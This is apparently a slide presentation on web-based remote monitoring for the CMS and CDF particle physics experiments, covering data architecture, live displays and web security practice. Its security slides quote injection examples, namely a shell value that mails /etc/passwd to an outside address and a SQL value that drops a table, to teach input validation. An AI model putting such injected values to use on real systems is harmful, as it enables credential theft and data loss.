High Energy Physics and the Power and Risks of Web Based Monitoring

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for the CMS and CDF Collaborations, including

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+ many contributors

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Who am I?

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Background:
✓ Trigger and Data Acquisition for HEP collider experiments
  ✓ 1989 - present
  ✓ Including lots of monitoring tools, apps
✓ Detectors: CDF I (FNAL), SDC (SSC), Zeus (DESY), CDF II (FNAL), CMS (CERN)

✓ Pertinent current activities:
  ✓ Data Acquisition lead for CDF
  ✓ Web Based Monitoring project for CMS
  ✓ Java Control and Monitor Applications
  ✓ Web based Java/Tomcat applications for remote monitoring of DAQ, Trigger, Lumi...
✓ Java, C, C++, XML, Web Apps, Tomcat, network programming and services, databases, oracle, realtime, device drivers,...
CDF Run II

~12 fb$^{-1}$

Taking pp collision data since 2001 with $\sqrt{s}=1.96$ TeV

Tevatron recently delivered 7 fb$^{-1}$

Taking data steadily, churning out physics results

Most likely continue run until September 2011 ~12 fb$^{-1}$

Higgs exclusion, Spring 2009
CMS

LHC pp designed for collisions up to $\sqrt{s}=14$TeV
By December expect $\sqrt{s}=0.9 \rightarrow 2.2$TeV, gradual increase during 2010, to 7TeV, one year run
First beam splash events September 2008
Cosmic rays and first detector performance papers

October 24: Beam back into LHC! inject ‘n’ dump

$\sim 2 \times 10^9$ protons on collimator ~150 m upstream of CMS

Detector longitudinal view, display of Hadronic (L) and Electromagnetic (R) energy
Introduction and Outline

- **Online Web-Based Monitoring**
  - Remote Monitoring
    - Justification, origins
  - Online Web Services
    - Browsing, plotting, & dynamic time correlation plots
    - Several CMS Example Pages, real-time and historical
    - Environmental trends over time & real time status
    - Technical details behind the scenes
    - Programming techniques
  - Security and Safety
    - Where pitfalls can occur and how to address them
    - Case study of two security incidents
  - Conclusions
Web Based Monitoring

Since the web started in ~1989 as a tool for HEP, HEP and the world have embraced it

HEP Experiments have continued to enlarge: apparatus, collaboration and geographical extent of people

Number of people physically present in the control rooms of HEP Experiments are limited, but expertise is distributed

*: Efficient operation ⇒ Distributed monitoring

*and web based monitoring makes obvious sense*
Early beginnings at CDF

RunSummary Example

RunSummary pages are dynamically produced, with almost every quantity hyper-linked, with many of the links drawing plots of the quantity of interest & links to error logs and all run settings.

Root used for plotting
WBM History

At CDF, began as almost an after-thought or hobby

...but quickly grew to an operational requirement

...over the previous years, has often obviated the need to be physically present in the control room

...with a concomitant increase in operational efficiency

At CMS, attempt to build in web based monitoring tools systematically from the beginning
Don’t you remember the original purpose of the WorldWideWeb?
The need to disseminate HEP data world-wide grows even more important with huge collaborations spanning the globe.
Why Bother with Remote Monitors?

- Thousands of collaborators located all over the world
- Most of them not resident at CERN
- Collider H.E.P. has never before been so concentrated in one location
- Need to disperse and disseminate

R.I.P.
- HERA June 2007
- CESR 2008
- PEP II 2008
- Tevatron October 2011?

Future
- ILC - 2020? 2120? Ever?
- Are we the last HEP collider experiment?
- Must be clever to survive

P5 = Point Five, CMS Location on LHC Ring

“Leaving Cessy”
One Customer: Remote Operations

- Tools needed for remote status display
- Must be easy to use, flexible, drillable
- Coöperative with firewall, security
- Must survive trans-Atlantic crossing
- Must be safe

Fermilab Remote Operations Center
LHC@FNAL

CMS P5 Control Room
2008.09.10 First Beam thru CMS
Web Based Monitoring - What?

- **Wealth of CMS information at P5**
  - Database, DQM, xDAQ, Lumi, Trigger, etc.
  - Not easily accessible from outside
  - Provide extensible platform for users
    - Contributions from subdetector experts
    - Much of Database not replicated offline
      - E.g. Slow Control histories
- **Need Portal and Tools to Access**
Basic WBM cmswbm Architecture

- No control access to .cms
- Readonly data flow
- CMS Online Oracle Database
  - Protected
- Real time data producers
  - (lumi, trigger, DAQ, DQM, LHC)
  - Sensitive sources
- Periodic data retrievals
  - Singlet connections
- Private net
  - Data source shield
  - .cms network
  - cmswbm.cms

- Web Service
- Memory Cache
- Disk Cache

- “Unlimited” HTTP Requests
  - Available for local CMS Users

- Web Client 1
  - P5 Shift crew
- Web Client 2
- Web Client n

- Private net
  - Data source shield
  - .cms network
What data is there to be mined?

- **Wealth of information in real-time services and online database**
  - Trigger rates, event rates, cross sections, beam conditions, temperatures, voltages, environmental conditions, etc. ...
  - Database is preferred locale for configuration and monitoring data persistency
  - Oracle 10 server located at CMS site; replicated to offline world
  - Has current and historical status data
    - ✓ Latency ~ < 1 second to ~1 minute
    - ✓ Behind firewall for security reasons

- **Need a portal to gain access**
  - Provide display of contents
  - And provide access control

- **Typical data present, “Value vs. Time”**
  - Needs tools to access, plot, download, correlate

- **Complex, heterogeneous information servers and database**
  - Many schemas, many designers
  - Already have **140** schemas just in the online database & not nearly done

- **Central description needed**
  - Correlate across subsystems
  - Typical monitoring is “Value vs. Time”
    - ✓ *Global* meta-data descriptive tables
Real Time Messaging Data Sources

Global Trigger - Trigger Rates
CMS xDAQ C++, polling
XDR Encoded Binary

Luminosity - Collision Rates
Custom C struct binary
Pushed over custom socket layer

LHC - Beam currents, losses, status
CERN DIP protocol, pushed
String encoded messages, Java, C

LHC - Real time clock and event signal
Hardware serial cable, PCI card

Oracle relational database
No standard schema design
History and pseudo-real-time

WBM:
Transform all to web-friendly XML
+ provide XML republishing services
for web pages & available for other uses
Data Flow Example — Luminosity

Real-time Luminosity information

Lumi data source "lumipc" Attached to DAQ
Lumi TCP data protocol

Receiver C
"Lumi fanout PC"

Transform, Buffer and Serve, C

xml format wbm dev and prd

Update Thread: java
Java data object
Web Display Service Threads: java

Web Browsers Clients

synchronized java data access

xml lumi

"To Serve and Protect"

Homepage and Examples...

Simple and direct starting points
No complex scripts to freak out your browser
RunSummary Example

RunSummary selection form yields list of runs matching criteria

Run listing links to details about specific run
RunSummary TriggerRates

Drill-down from rates to plot vs. time
Linkable and downloadable graphics
in PNG and EPS

Plot & data, downloadable Root file
...or Text, XML, HTML raw data formats
Downloadable Root File

Root session running on user’s local desktop
Raw data in TTree nTuple format, plus histograms and graphics objects

User free to explore data in complex ways of which we have not considered
Real-time Displays

CMS PageZero

DB queries are made every 45s, The XML query interval is specified on the right.
Last updated: 2009.10.24 09:19:32

<table>
<thead>
<tr>
<th>LHC</th>
<th>CMS DAQ/Trigger</th>
<th>Luminosity</th>
<th>Miscellaneous</th>
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<tbody>
<tr>
<td>Accelerator Mode</td>
<td>SETUP</td>
<td>Lumi</td>
<td>Beam Pipe Temperature</td>
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<tr>
<td>Beam Mode</td>
<td>INJPILOT</td>
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<td>Outside Temperature</td>
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<td></td>
<td>DCS Condition</td>
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<tr>
<td>Ring 2</td>
<td>0 \times 10^{10}</td>
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<td>HLT Config</td>
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<td>Detector Components</td>
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<tr>
<td>Detector Components</td>
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</tr>
</tbody>
</table>

PageZero: Quick top-level status of CMS detector, including LHC beams
More real-time: Level 1 Trigger Rates

TriggerRates: L1 trigger counters, rates, and configurations; with real-time plotting and alarms

supported by William Badgett, Tim Christiansen, Zongru Wan
Real-time LHC Monitor at CMS

LhcMonitor: From synchronous clock and event hardware signal sent to CMS

Audible alarms on critical events like "inject beams" "dump beams"
Requires emulation of event driven notification using XML

<table>
<thead>
<tr>
<th>Collection Time GMT</th>
<th>Value</th>
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<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
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<tbody>
<tr>
<td>Accelerator Mode</td>
<td>SETUP</td>
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<tr>
<td>Beam Mode</td>
<td>INJPILOT</td>
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<td>LHC Adjust</td>
<td>STANDBY</td>
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<td>LHC BeamDump</td>
<td>STANDBY</td>
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<td>LHC Injection</td>
<td>STANDBY</td>
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<tr>
<td>Fill Number</td>
<td>845</td>
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<tr>
<td>Energy</td>
<td>450 GeV</td>
</tr>
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<td>Basic period number</td>
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<td>Next injection beam type</td>
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<tr>
<td>Next injection RF bucket</td>
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<tr>
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<tr>
<td>Max SPS injection</td>
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</table>

<table>
<thead>
<tr>
<th>Event</th>
<th>Description</th>
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<tbody>
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<table>
<thead>
<tr>
<th>Time</th>
<th>Event</th>
<th>Description</th>
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<tbody>
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<td>HX.APOST-CT</td>
<td>Injection x10 ms</td>
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<tr>
<td>2009.10.24 09:18:05:481</td>
<td>HX.AMC-CT</td>
<td>Injection NOW</td>
</tr>
<tr>
<td>2009.10.24 09:18:05:480</td>
<td>HX.BQHT-CT</td>
<td>Head-tail measurement</td>
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<tr>
<td>2009.10.24 09:18:05:480</td>
<td>HX.BQTAP2-CT</td>
<td>BCTF capture for beam 2</td>
</tr>
<tr>
<td>2009.10.24 09:18:05:480</td>
<td>HX.BQCAP1-CT</td>
<td>BCTF capture for beam 1</td>
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<td>2009.10.24 09:18:05:476</td>
<td>HX.BBQ2-CT</td>
<td>Tune measurement ring 2</td>
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<tr>
<td>2009.10.24 09:18:05:476</td>
<td>HX.BBQ1-CT</td>
<td>Tune measurement ring 1</td>
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<td>2009.10.24 09:18:05:476</td>
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<td>BLA capture for beam 1</td>
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<td>HX.BBQ2-CT</td>
<td>Warning Injection 20 ms</td>
</tr>
<tr>
<td>2009.10.24 09:18:05:381</td>
<td>HX.W20-CT</td>
<td>Warning Injection 100 ms</td>
</tr>
</tbody>
</table>

[Image of LhcMonitor interface]
Example of Live Plotting
Simulated (x,y,z) Beam Spot at CMS
Detector Displays across CMS

Display status of all detector elements, Many environmental measurements Voltage, current, temperature...
Browsing tree constructed dynamically via meta-data tables

Have alarms & limits, Drill-down details & plotting - current and historical

Current close-to-real-time values rely on Last Value database tables
Detector Details with common interface

Problems can be investigated with drill-down details and time plotting

Zongru Wan
Subdetector Contributions
ECAL (Electromagnetic Calorimeter)

ECAL Calibration Run Summary with data quality monitoring results and plots

CMS subdetectors are unique
CMS WBM provides a platform and infrastructure in which they can develop specific tools and displays

Giovanni Organtini
Meta Data Tables
Describing Monitoring Data

• **Consider “value, time” pairs** \((x, t_x)\)
  - Most common monitoring dataset
  - Time: Timestamp, Run Number, Luminosity Subsection
  - Entries in meta-data tables specify value, time, units, type of data, subchannels, ...
  - Allows general purpose retrieval from central tables

• **Conversion: HTML, Text, XML, Root formats**
  - Root TTree n-tuple object with multiple values per time \((x, y, z, t)\)
  - Optional caching of results
  - ?FORMAT=TEXT|XML|HTML|Root|GRAPHICS
  - Dynamic inline embedding of graphics
    - Other pages can access plots automatically
  - Available via HTML display page links or via direct download with `curl` or `wget`:
    - `curl “http://cmsmon.cern.ch/cmsdb/servlet/GenericQuery?…”`
Time Correlation Plots

Must choose independent variable as basis for correlation

\[(x, t_x) \times (y, t_y)\]

\[w = x, y\]
\[t_w = t_x, t_y\]

collate

sort and pair nearest neighbors by time

TTreeIndex

Time range must be identical: \(\Delta T_x = \Delta T_y\)

Time sampling period similar: \(\Delta t_x \sim \Delta t_y\)

Heterogeneous environment, with no a priori correlation necessary
Time Correlation Example

Example from magnet test data magnet current vs. temperature

- Browse hundreds of environmental and experimental data samples
- Dynamically produce plot
- Download Root, XML, text, HTML

OR construct your own URL for in-line linking or non-interactive "wget" access
The RunTimeLogger

The WBM is integrated into the DAQ and trigger systems. Monitoring these systems, with input from shiftcrew, one can determine the overall operational efficiency.

Aron Soha, Balys Sulmanas
Allowing External access

System of Reverse Proxies

"A Tale of Two Proxies"

- cmswbm.web.cern.ch (CERN IT)
- CMS Online Gateway
- CMS WBM Server

GPN .cern.ch
.cms

Password required
- .cern.ch domain, cms eGroup
- CERN IT SSO mechanism
- CERN GPN
- Password required, AFS
- .cern.ch domain, cms group

No password, as is

world

Offsite users

.cern.ch
users

P5 Cessy users
Shibboleth Authentication

For all external access, we use the CERN Single Sign On mechanism (SSO)

Uses the Shibboleth organizational site authentication

Allows users to log in once per session, and access all CERN sites supporting Shibboleth, using personal certificate or kerberos username and password

Shibboleth is a product of the Internet2 collaboration

http://shibboleth.internet2.edu
Constructing WBM Web Pages

Emphasis: Simplicity and Utility
Limited resources and manpower
Avoid fancy browser widgets \(\rightarrow\) lean and mean pages

Server Side:
- Apache HTTP Daemon serving simple HTTP requests
- Tomcat Java Server Performing bulk of user interface work, including dynamic content
- Root used for historical plotting services and data service

Client Side:
- Most data display in simple HTML
- JavaScript to perform real-time updating of page data
- Java Applets *JFreeChart* for real-time plotting
Real-Time Page Modes

Main User Link: http://cmswbm/servlet/TriggerRates
• Provide human readable skeletal HTML structure
• Each servlet link has split personality:

Data Link: http://cmswbm/servlet/TriggerRates?FORMAT=XML
• Operating behind the scenes in the browser's JavaScript
• Periodically requesting data updates
• Matching incoming XML data elements with the corresponding HTML Document Object Model (DOM) elements
• Filling in DOM data elements with fresh data
• Polling substitutes for truly event driven real-time notification
  • “Give me all your events since my last poll”
HTML XML Conversation

Initial HTML servlet marks up table and a place holder for value

\[
<TD>TCLIA.6R2<br><TEXT ID="lvdtGap_30">-0.00</TEXT></TD>
\]

Secondary part of servlet provides XML data and updates display, matching HTML DOM tags to XML.

\[
<Monitor>
  <LhcData>
    <lvdtGap array="true">
      <i0>35.6770</i0>
      ...
      <i30>15.0349</i30>
    </lvdtGap>
  </LhcData>
</Monitor>
\]
JavaScript Java Applet Conversation

When data arrive, update HTML DOM and look up Java Applet object and call plotting method:

```javascript
var blm = document.getElementById("BLMPlot");
if ( blm )
{
  blm.plot(collectionTime, value);
}
```
Generic Reusable Code to Populate Pages

function processRefreshData(xml) {
    monitorElements = xml.responseXML.childNodes;
    for (i=0; i<monitorElements.length; i++) {
        groupElements = monitorElements[i].childNodes;
        for (j=0; j<groupElements.length; j++) {
            variableElements = groupElements[j].childNodes;
            element = document.getElementById(variableElements[k].nodeName);
            element.firstChild.data = variableElements[k].firstChild.nodeValue;
            ...
            if (plt) {
                plt.plotByLabel(label, zeit, variableElements[k].firstChild.nodeValue);
            }
        }
    }

Luminosity Displays, Jeremy Werner
Security

• A few ideas and techniques for making interactive web applications a bit more secure which we try to follow in the WBM group

• Two comparative case studies of what happens when you do not implement these recommendations...
Yikes!
Need to... Calm the flying public
There is danger, but sometimes the perception of danger grows way out of proportion to risks...

(courtesy Sebastian Lopienski)
Sophistication breeds trouble

• A bunch of static HTML pages doesn’t cause much worry… but:

• Evolution to dynamic web pages started long ago
  ▶ Can be fantastically useful and flexible
  ▶ But introduces an element of joy and peril — the Client has more control!

• The public forum invites mischief if not malice
Most Basic Rules

• What are the three most important rules when making interactive web applications more secure?
  1. Validate User Input
  2. Validate User Input
  3. Validate User Input

This is where the client has control, and so where can do damage, even if unintentional...
• Most popular forms of abuse are "Injections"
  ➢ Code, text, images intended for unauthorized display or execution sent via form or URL input
  ➢ HTML, JavaScript, SQL, cgi, php, shell commands, script executions all susceptible
  ➢ Critical point when control is passed from one application to another
    ✓ Shell script launch or implicit inclusion
    ✓ Posting user's new web content, e.g. "cross-site scripting"
    ✓ SQL Database Query, "SQL injection"
• **Injection examples:**
  
  - **Launching server side script:**
    - `/usr/bin/runRegisterUser usr pwd`
    - User provides:
      - `pwd = “ hello; cat /etc/passwd | mail me@uh-oh.com”`
  
  - **SQL Injection:**
    - `SELECT COMMENTS FROM CUSTOMER_TABLE WHERE NAME='USER';`
    - User provides:
      - `USER = “ Hello’ ; DROP TABLE CUSTOMER_TABLE;”`
Injection Inoculation

- *Never* trust user input
- *Never* construct any commands, file names, script names, or their arguments, based on user input
  - Scripts or SQL queries, root macros, etc.
  - Root: use compiled applications, not root shell!
- *Restrict* allowed values returned from user as much as possible
  - Selection lists or ranges
  - Variable typing by string conversion
  - URL character encoding to catch specials
  - Restrict strings to alphanumerics
- Pass values indirectly
  - SQL bind variables
After the big 3, there are lots more...

• Principle of minimization
  - Only allow access to what is needed
  - WBM as read-only mechanism simplifies this greatly
  - Use read-only system and database accounts with minimal privileges
  - Bare minimum software and files accessible on server
  - Single use server, no personal logins
    - Separate business and personal!
  - Restrict users, but do not reinvent access mechanisms

• Cannot ever provide complete list...
  - ...cannot ever be completely secure!
To avoid disaster:

- Write down your rules!
- Have developers sign off
- Cross check software amongst group members
  - Never swim / program alone!
- Have disaster plan, in case

These rules are often alien to an open academic environment like a physics lab
But failure can have unpredictable and devastating consequences...
Hacker break-ins and upsets do happen at physics laboratories

- **Bad news:** They will not stop trying
- **Good news:** The direct damage they cause is usually minimal

- **Bad news:** The collateral damage in the reaction to an incident will often cause far more damage regarding denial of service

- **Compare and contrast recent incidents from anonymous lab(s)**
Case A Intrusion
✓ Upload unauthorized code via Twiki bug
✓ Cause: exploit known twiki bug not patched with fix
✓ Direct Effects:
  ✓ Direct shell access
  ✓ Installed malicious code
  ✓ No passwords/sensitive info compromised
  ✓ Post pages with links to illegal sites
  ✓ Gained control of site

Case B Intrusion
✓ Upload unauthorized image via user servlet
✓ Cause: servlet allowed unauthenticated file upload
✓ Direct Effects:
  ✓ No direct shell access
  ✓ No code added/altered
  ✓ No passwords/sensitive info compromised
  ✓ Post single image
  ✓ No criminal intent
  ✓ No control of site

Which intrusion looks more serious?
Which intrusion received more attention?
**Case A Intrusion**

✓ Upload unauthorized code via Twiki bug
✓ Cause: exploit known twiki bug not patched with fix
✓ Direct Effects:
  ✓ Direct shell access
  ✓ Installed malicious code
  ✓ No passwords/sensitive info compromised
✓ Post pages with links to illegal sites
✓ Gained control of site
✓ Indirect Effects:
  ✓ Occurred at random time
  ✓ Not reported in press
  ✓ Two months to full service resumption

**Case B Intrusion**

✓ Upload unauthorized image via user servlet
✓ Cause: servlet allowed unauthenticated file upload
✓ Direct Effects:
  ✓ No direct shell access
  ✓ No code added/altered
  ✓ No passwords/sensitive info compromised
✓ Post single image
✓ No criminal intent
✓ No control of site
✓ Indirect Effects:
  ✓ At news-worthy time
  ✓ Reported in main-stream international press 😞
  ✓ *Nine* months to full service!
Truth or consequences...

A minor incident is misreported in the popular press, and hysteria is contagious...
Security Conclusion...

- You’ll never be 100% safe, but you have to try
- Difficult balance between academic freedom and staying secure
- Physics has a vibrant, productive working environment, but sometimes you have to herd cats...
Conclusions

• LHC first beam in 2008, collisions 2009
• Remote monitoring will be a critical part of CMS data taking
• Tools have been developed for remote operations
  ➢ Actively used in Cosmic Runs, Test Beam, Global Integration Runs, first beam splash 2006-2009
  ➢ Remote Operations Center or Individual Users and Experts
  ➢ Continued development in preparation for collisions
• Don’t forget security